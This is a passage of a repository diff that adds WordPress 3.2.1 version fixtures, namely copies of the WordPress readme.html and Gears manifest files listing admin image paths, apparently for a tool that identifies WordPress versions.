<p>You can post from an email client! To set this up go to your &quot;Writing&quot; options screen and fill in the connection details for your secret <abbr title="Post Office Protocol version 3">POP3</abbr> account. Then you need to set up <code>wp-mail.php</code> to execute periodically to check the mailbox for new posts. You can do it with <a href="http://en.wikipedia.org/wiki/Cron">cron</a>-jobs, or if your host doesn't support it you can look into the various website-monitoring services, and make them check your <code>wp-mail.php</code> <abbr title="Uniform Resource Locator">URL</abbr>.</p>
<p>Posting is easy: Any email sent to the address you specify will be posted, with the subject as the title. It is best to keep the address discrete. The script will <em>delete</em> emails that are successfully posted.</p>
<h1>User Roles</h1>
<p>We introduced a very flexible roles system in version 2.0. You can <a href="http://codex.wordpress.org/Roles_and_Capabilities" title="WordPress roles and capabilities">read more about Roles and Capabilities on the Codex</a>.</p>
<h1>Final Notes</h1>
<ul>
<li>If you have any suggestions, ideas, or comments, or if you (gasp!) found a bug, join us in the <a href="http://wordpress.org/support/">Support Forums</a>.</li>
<li>WordPress has a robust plugin <abbr title="application programming interface">API</abbr> that makes extending the code easy. If you are a developer interested in utilizing this, see the <a href="http://codex.wordpress.org/Plugin_API" title="WordPress plugin API">plugin documentation in the Codex</a>. You shouldn't modify any of the core code.</li>
</ul>
<h1>Share the Love</h1>
<p>WordPress has no multi-million dollar marketing campaign or celebrity sponsors, but we do have something even better&#8212;you. If you enjoy WordPress please consider telling a friend, setting it up for someone less knowledgable than yourself, or writing the author of a media article that overlooks us.</p>
<p>WordPress is the official continuation of <a href="http://cafelog.com/">b2/caf&#233;log</a>, which came from Michel V. The work has been continued by the <a href="http://wordpress.org/about/">WordPress developers</a>. If you would like to support WordPress, please consider <a href="http://wordpress.org/donate/" title="Donate to WordPress">donating</a>.</p>
<h1>License</h1>
<p>WordPress is free software, and is released under the terms of the <abbr title="GNU General Public License">GPL</abbr> version 2 or (at your option) any later version. See <a href="license.txt">license.txt</a>.</p>
</body>
</html>

View File

@@ -0,0 +1,72 @@
{
"betaManifestVersion" : 1,
"version" : "9f1d42cdc7a2098cb65588e29c61f113",
"entries" : [
{ "url" : "images/align-center.png", "ignoreQuery" : true }
{ "url" : "images/align-left.png", "ignoreQuery" : true }
{ "url" : "images/align-none.png", "ignoreQuery" : true }
{ "url" : "images/align-right.png", "ignoreQuery" : true }
{ "url" : "images/archive-link.png", "ignoreQuery" : true }
{ "url" : "images/blue-grad.png", "ignoreQuery" : true }
{ "url" : "images/bubble_bg.gif", "ignoreQuery" : true }
{ "url" : "images/bubble_bg-rtl.gif", "ignoreQuery" : true }
{ "url" : "images/button-grad.png", "ignoreQuery" : true }
{ "url" : "images/button-grad-active.png", "ignoreQuery" : true }
{ "url" : "images/comment-grey-bubble.png", "ignoreQuery" : true }
{ "url" : "images/date-button.gif", "ignoreQuery" : true }
{ "url" : "images/ed-bg.gif", "ignoreQuery" : true }
{ "url" : "images/fade-butt.png", "ignoreQuery" : true }
{ "url" : "images/fav.png", "ignoreQuery" : true }
{ "url" : "images/fav-arrow.gif", "ignoreQuery" : true }
{ "url" : "images/fav-arrow-rtl.gif", "ignoreQuery" : true }
{ "url" : "images/generic.png", "ignoreQuery" : true }
{ "url" : "images/gray-grad.png", "ignoreQuery" : true }
{ "url" : "images/icons32.png", "ignoreQuery" : true }
{ "url" : "images/icons32-vs.png", "ignoreQuery" : true }
{ "url" : "images/list.png", "ignoreQuery" : true }
{ "url" : "images/wpspin_light.gif", "ignoreQuery" : true }
{ "url" : "images/wpspin_dark.gif", "ignoreQuery" : true }
{ "url" : "images/logo.gif", "ignoreQuery" : true }
{ "url" : "images/logo-ghost.png", "ignoreQuery" : true }
{ "url" : "images/logo-login.gif", "ignoreQuery" : true }
{ "url" : "images/media-button-image.gif", "ignoreQuery" : true }
{ "url" : "images/media-button-music.gif", "ignoreQuery" : true }
{ "url" : "images/media-button-other.gif", "ignoreQuery" : true }
{ "url" : "images/media-button-video.gif", "ignoreQuery" : true }
{ "url" : "images/menu.png", "ignoreQuery" : true }
{ "url" : "images/menu-vs.png", "ignoreQuery" : true }
{ "url" : "images/menu-arrows.gif", "ignoreQuery" : true }
{ "url" : "images/menu-bits.gif", "ignoreQuery" : true }
{ "url" : "images/menu-bits-rtl.gif", "ignoreQuery" : true }
{ "url" : "images/menu-dark.gif", "ignoreQuery" : true }
{ "url" : "images/menu-dark-rtl.gif", "ignoreQuery" : true }
{ "url" : "images/no.png", "ignoreQuery" : true }
{ "url" : "images/required.gif", "ignoreQuery" : true }
{ "url" : "images/resize.gif", "ignoreQuery" : true }
{ "url" : "images/screen-options-right.gif", "ignoreQuery" : true }
{ "url" : "images/screen-options-right-up.gif", "ignoreQuery" : true }
{ "url" : "images/se.png", "ignoreQuery" : true }
{ "url" : "images/star.gif", "ignoreQuery" : true }
{ "url" : "images/toggle-arrow.gif", "ignoreQuery" : true }
{ "url" : "images/toggle-arrow-rtl.gif", "ignoreQuery" : true }
{ "url" : "images/white-grad.png", "ignoreQuery" : true }
{ "url" : "images/white-grad-active.png", "ignoreQuery" : true }
{ "url" : "images/wordpress-logo.png", "ignoreQuery" : true }
{ "url" : "images/wp-logo.png", "ignoreQuery" : true }
{ "url" : "images/xit.gif", "ignoreQuery" : true }
{ "url" : "images/yes.png", "ignoreQuery" : true }
{ "url" : "../wp-includes/images/crystal/archive.png", "ignoreQuery" : true }
{ "url" : "../wp-includes/images/crystal/audio.png", "ignoreQuery" : true }
{ "url" : "../wp-includes/images/crystal/code.png", "ignoreQuery" : true }
{ "url" : "../wp-includes/images/crystal/default.png", "ignoreQuery" : true }
{ "url" : "../wp-includes/images/crystal/document.png", "ignoreQuery" : true }
{ "url" : "../wp-includes/images/crystal/interactive.png", "ignoreQuery" : true }
{ "url" : "../wp-includes/images/crystal/text.png", "ignoreQuery" : true }
{ "url" : "../wp-includes/images/crystal/video.png", "ignoreQuery" : true }
{ "url" : "../wp-includes/images/crystal/spreadsheet.png", "ignoreQuery" : true }
{ "url" : "../wp-includes/images/rss.png", "ignoreQuery" : true }
{ "url" : "../wp-includes/images/blank.gif", "ignoreQuery" : true }
{ "url" : "../wp-includes/images/upload.png", "ignoreQuery" : true }
{ "url" : "../wp-includes/js/thickbox/loadingAnimation.gif", "ignoreQuery" : true }
{ "url" : "../wp-includes/js/thickbox/tb-close.png", "ignoreQuery" : true }
]}

File diff suppressed because one or more lines are too long

109
spec/fixtures/wp_versions/3.2.1/readme.html vendored Executable file
View File

@@ -0,0 +1,109 @@
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>WordPress &#8250; ReadMe</title>
<link rel="stylesheet" href="wp-admin/css/install.css?ver=20100228" type="text/css" />
</head>
<body>
<h1 id="logo">
<a href="http://wordpress.org/"><img alt="WordPress" src="wp-admin/images/wordpress-logo.png" width="250" height="68" /></a>
<br /> Version 3.2.1
</h1>
<p style="text-align: center">Semantic Personal Publishing Platform</p>
<h1>First Things First</h1>
<p>Welcome. WordPress is a very special project to me. Every developer and contributor adds something unique to the mix, and together we create something beautiful that I'm proud to be a part of. Thousands of hours have gone into WordPress, and we're dedicated to making it better every day. Thank you for making it part of your world.</p>
<p style="text-align: right">&#8212; Matt Mullenweg</p>
<h1>Installation: Famous 5-minute install</h1>
<ol>
<li>Unzip the package in an empty directory and upload everything.</li>
<li>Open <span class="file"><a href="wp-admin/install.php">wp-admin/install.php</a></span> in your browser. It will take you through the process to set up a <code>wp-config.php</code> file with your database connection details.
<ol>
<li>If for some reason this doesn't work, don't worry. It doesn't work on all web hosts. Open up <code>wp-config-sample.php</code> with a text editor like WordPad or similar and fill in your database connection details.</li>
<li>Save the file as <code>wp-config.php</code> and upload it.</li>
<li>Open <span class="file"><a href="wp-admin/install.php">wp-admin/install.php</a></span> in your browser.</li>
</ol>
</li>
<li>Once the configuration file is set up, the installer will set up the tables needed for your blog. If there is an error, double check your <code>wp-config.php</code> file, and try again. If it fails again, please go to the <a href="http://wordpress.org/support/" title="WordPress support">support forums</a> with as much data as you can gather.</li>
<li><strong>If you did not enter a password, note the password given to you.</strong> If you did not provide a username, it will be <code>admin</code>.</li>
<li>The installer should then send you to the <a href="wp-login.php">login page</a>. Sign in with the username and password you chose during the installation. If a password was generated for you, you can then click on 'Profile' to change the password.</li>
</ol>
<h1>Updating</h1>
<h2>Using the Automatic Updater</h2>
<p>If you are updating from version 2.7 or higher, you can use the automatic updater:</p>
<ol>
<li>Open the <span class="file"><a href="wp-admin/update-core.php">wp-admin/update-core.php</a></span> in your browser and follow the instructions.</li>
<li>You wanted more, perhaps? That's it!</li>
</ol>
<h2>Updating Manually</h2>
<ol>
<li>Before you update anything, make sure you have backup copies of any files you may have modified such as <code>index.php</code>.</li>
<li>Delete your old WordPress files, saving ones you've modified.</li>
<li>Upload the new files.</li>
<li>Point your browser to <span class="file"><a href="wp-admin/upgrade.php">/wp-admin/upgrade.php</a>.</span></li>
</ol>
<h2>Theme Template Changes</h2>
<p>If you have customized your theme templates, you may have to make some changes across major versions.</p>
<h1>Migrating from other systems</h1>
<p>WordPress can <a href="http://codex.wordpress.org/Importing_Content">import from a number of systems</a>. First you need to get WordPress installed and working as described above, before using <a href="wp-admin/import.php" title="Import to WordPress">our import tools</a>.</p>
<h1>System Requirements</h1>
<ul>
<li><a href="http://php.net/">PHP</a> version <strong>5.2.4</strong> or higher.</li>
<li><a href="http://www.mysql.com/">MySQL</a> version <strong>5.0</strong> or higher.</li>
</ul>
<h2>System Recommendations</h2>
<ul>
<li>The <a href="http://httpd.apache.org/docs/2.2/mod/mod_rewrite.html">mod_rewrite</a> Apache module.</li>
<li>A link to <a href="http://wordpress.org/">http://wordpress.org</a> on your site.</li>
</ul>
<h1>Online Resources</h1>
<p>If you have any questions that aren't addressed in this document, please take advantage of WordPress' numerous online resources:</p>
<dl>
<dt><a href="http://codex.wordpress.org/">The WordPress Codex</a></dt>
<dd>The Codex is the encyclopedia of all things WordPress. It is the most comprehensive source of information for WordPress available.</dd>
<dt><a href="http://wordpress.org/news/">The WordPress Blog</a></dt>
<dd>This is where you'll find the latest updates and news related to WordPress. Recent WordPress news appears in your administrative dashboard by default.</dd>
<dt><a href="http://planet.wordpress.org/">WordPress Planet</a></dt>
<dd>The WordPress Planet is a news aggregator that brings together posts from WordPress blogs around the web.</dd>
<dt><a href="http://wordpress.org/support/">WordPress Support Forums</a></dt>
<dd>If you've looked everywhere and still can't find an answer, the support forums are very active and have a large community ready to help. To help them help you be sure to use a descriptive thread title and describe your question in as much detail as possible.</dd>
<dt><a href="http://codex.wordpress.org/IRC">WordPress <abbr title="Internet Relay Chat">IRC</abbr> Channel</a></dt>
<dd>There is an online chat channel that is used for discussion among people who use WordPress and occasionally support topics. The above wiki page should point you in the right direction. (<a href="irc://irc.freenode.net/wordpress">irc.freenode.net #wordpress</a>)</dd>
</dl>
<h1><abbr title="eXtensible Markup Language">XML</abbr>-<abbr title="Remote Procedure Call">RPC</abbr> and Atom Interface</h1>
<p>You can post to your WordPress blog with tools like <a href="http://download.live.com/writer">Windows Live Writer</a>, <a href="http://illuminex.com/ecto/">Ecto</a>, <a href="http://bloggar.com/">w.bloggar</a>, <a href="http://radio.userland.com/">Radio Userland</a> (which means you can use Radio's email-to-blog feature), <a href="http://www.newzcrawler.com/">NewzCrawler</a>, and other tools that support the blogging <abbr title="application programming interface">API</abbr>s! :) You can read more about <a href="http://codex.wordpress.org/XML-RPC_Support"><abbr>XML</abbr>-<abbr>RPC</abbr> support on the Codex</a>.</p>
<h1>Post via Email</h1>
<p>You can post from an email client! To set this up go to your &quot;Writing&quot; options screen and fill in the connection details for your secret <abbr title="Post Office Protocol version 3">POP3</abbr> account. Then you need to set up <code>wp-mail.php</code> to execute periodically to check the mailbox for new posts. You can do it with <a href="http://en.wikipedia.org/wiki/Cron">cron</a>-jobs, or if your host doesn't support it you can look into the various website-monitoring services, and make them check your <code>wp-mail.php</code> <abbr title="Uniform Resource Locator">URL</abbr>.</p>
<p>Posting is easy: Any email sent to the address you specify will be posted, with the subject as the title. It is best to keep the address discrete. The script will <em>delete</em> emails that are successfully posted.</p>
<h1>User Roles</h1>
<p>We introduced a very flexible roles system in version 2.0. You can <a href="http://codex.wordpress.org/Roles_and_Capabilities" title="WordPress roles and capabilities">read more about Roles and Capabilities on the Codex</a>.</p>
<h1>Final Notes</h1>
<ul>
<li>If you have any suggestions, ideas, or comments, or if you (gasp!) found a bug, join us in the <a href="http://wordpress.org/support/">Support Forums</a>.</li>
<li>WordPress has a robust plugin <abbr title="application programming interface">API</abbr> that makes extending the code easy. If you are a developer interested in utilizing this, see the <a href="http://codex.wordpress.org/Plugin_API" title="WordPress plugin API">plugin documentation in the Codex</a>. You shouldn't modify any of the core code.</li>
</ul>
<h1>Share the Love</h1>
<p>WordPress has no multi-million dollar marketing campaign or celebrity sponsors, but we do have something even better&#8212;you. If you enjoy WordPress please consider telling a friend, setting it up for someone less knowledgable than yourself, or writing the author of a media article that overlooks us.</p>
<p>WordPress is the official continuation of <a href="http://cafelog.com/">b2/caf&#233;log</a>, which came from Michel V. The work has been continued by the <a href="http://wordpress.org/about/">WordPress developers</a>. If you would like to support WordPress, please consider <a href="http://wordpress.org/donate/" title="Donate to WordPress">donating</a>.</p>
<h1>License</h1>
<p>WordPress is free software, and is released under the terms of the <abbr title="GNU General Public License">GPL</abbr> version 2 or (at your option) any later version. See <a href="license.txt">license.txt</a>.</p>
</body>
</html>

View File

@@ -0,0 +1,72 @@
{
"betaManifestVersion" : 1,
"version" : "4c4cab4ac02dd9b2bf8f0011808232cc",
"entries" : [
{ "url" : "images/align-center.png", "ignoreQuery" : true }
{ "url" : "images/align-left.png", "ignoreQuery" : true }
{ "url" : "images/align-none.png", "ignoreQuery" : true }
{ "url" : "images/align-right.png", "ignoreQuery" : true }
{ "url" : "images/archive-link.png", "ignoreQuery" : true }
{ "url" : "images/blue-grad.png", "ignoreQuery" : true }
{ "url" : "images/bubble_bg.gif", "ignoreQuery" : true }
{ "url" : "images/bubble_bg-rtl.gif", "ignoreQuery" : true }
{ "url" : "images/button-grad.png", "ignoreQuery" : true }
{ "url" : "images/button-grad-active.png", "ignoreQuery" : true }
{ "url" : "images/comment-grey-bubble.png", "ignoreQuery" : true }
{ "url" : "images/date-button.gif", "ignoreQuery" : true }
{ "url" : "images/ed-bg.gif", "ignoreQuery" : true }
{ "url" : "images/fade-butt.png", "ignoreQuery" : true }
{ "url" : "images/fav.png", "ignoreQuery" : true }
{ "url" : "images/fav-arrow.gif", "ignoreQuery" : true }
{ "url" : "images/fav-arrow-rtl.gif", "ignoreQuery" : true }
{ "url" : "images/generic.png", "ignoreQuery" : true }
{ "url" : "images/gray-grad.png", "ignoreQuery" : true }
{ "url" : "images/icons32.png", "ignoreQuery" : true }
{ "url" : "images/icons32-vs.png", "ignoreQuery" : true }
{ "url" : "images/list.png", "ignoreQuery" : true }
{ "url" : "images/wpspin_light.gif", "ignoreQuery" : true }
{ "url" : "images/wpspin_dark.gif", "ignoreQuery" : true }
{ "url" : "images/logo.gif", "ignoreQuery" : true }
{ "url" : "images/logo-ghost.png", "ignoreQuery" : true }
{ "url" : "images/logo-login.gif", "ignoreQuery" : true }
{ "url" : "images/media-button-image.gif", "ignoreQuery" : true }
{ "url" : "images/media-button-music.gif", "ignoreQuery" : true }
{ "url" : "images/media-button-other.gif", "ignoreQuery" : true }
{ "url" : "images/media-button-video.gif", "ignoreQuery" : true }
{ "url" : "images/menu.png", "ignoreQuery" : true }
{ "url" : "images/menu-vs.png", "ignoreQuery" : true }
{ "url" : "images/menu-arrows.gif", "ignoreQuery" : true }
{ "url" : "images/menu-bits.gif", "ignoreQuery" : true }
{ "url" : "images/menu-bits-rtl.gif", "ignoreQuery" : true }
{ "url" : "images/menu-dark.gif", "ignoreQuery" : true }
{ "url" : "images/menu-dark-rtl.gif", "ignoreQuery" : true }
{ "url" : "images/no.png", "ignoreQuery" : true }
{ "url" : "images/required.gif", "ignoreQuery" : true }
{ "url" : "images/resize.gif", "ignoreQuery" : true }
{ "url" : "images/screen-options-right.gif", "ignoreQuery" : true }
{ "url" : "images/screen-options-right-up.gif", "ignoreQuery" : true }
{ "url" : "images/se.png", "ignoreQuery" : true }
{ "url" : "images/star.gif", "ignoreQuery" : true }
{ "url" : "images/toggle-arrow.gif", "ignoreQuery" : true }
{ "url" : "images/toggle-arrow-rtl.gif", "ignoreQuery" : true }
{ "url" : "images/white-grad.png", "ignoreQuery" : true }
{ "url" : "images/white-grad-active.png", "ignoreQuery" : true }
{ "url" : "images/wordpress-logo.png", "ignoreQuery" : true }
{ "url" : "images/wp-logo.png", "ignoreQuery" : true }
{ "url" : "images/xit.gif", "ignoreQuery" : true }
{ "url" : "images/yes.png", "ignoreQuery" : true }
{ "url" : "../wp-includes/images/crystal/archive.png", "ignoreQuery" : true }
{ "url" : "../wp-includes/images/crystal/audio.png", "ignoreQuery" : true }
{ "url" : "../wp-includes/images/crystal/code.png", "ignoreQuery" : true }
{ "url" : "../wp-includes/images/crystal/default.png", "ignoreQuery" : true }
{ "url" : "../wp-includes/images/crystal/document.png", "ignoreQuery" : true }
{ "url" : "../wp-includes/images/crystal/interactive.png", "ignoreQuery" : true }
{ "url" : "../wp-includes/images/crystal/text.png", "ignoreQuery" : true }
{ "url" : "../wp-includes/images/crystal/video.png", "ignoreQuery" : true }
{ "url" : "../wp-includes/images/crystal/spreadsheet.png", "ignoreQuery" : true }
{ "url" : "../wp-includes/images/rss.png", "ignoreQuery" : true }
{ "url" : "../wp-includes/images/blank.gif", "ignoreQuery" : true }
{ "url" : "../wp-includes/images/upload.png", "ignoreQuery" : true }
{ "url" : "../wp-includes/js/thickbox/loadingAnimation.gif", "ignoreQuery" : true }
{ "url" : "../wp-includes/js/thickbox/tb-close.png", "ignoreQuery" : true }
]}

Some files were not shown because too many files have changed in this diff Show More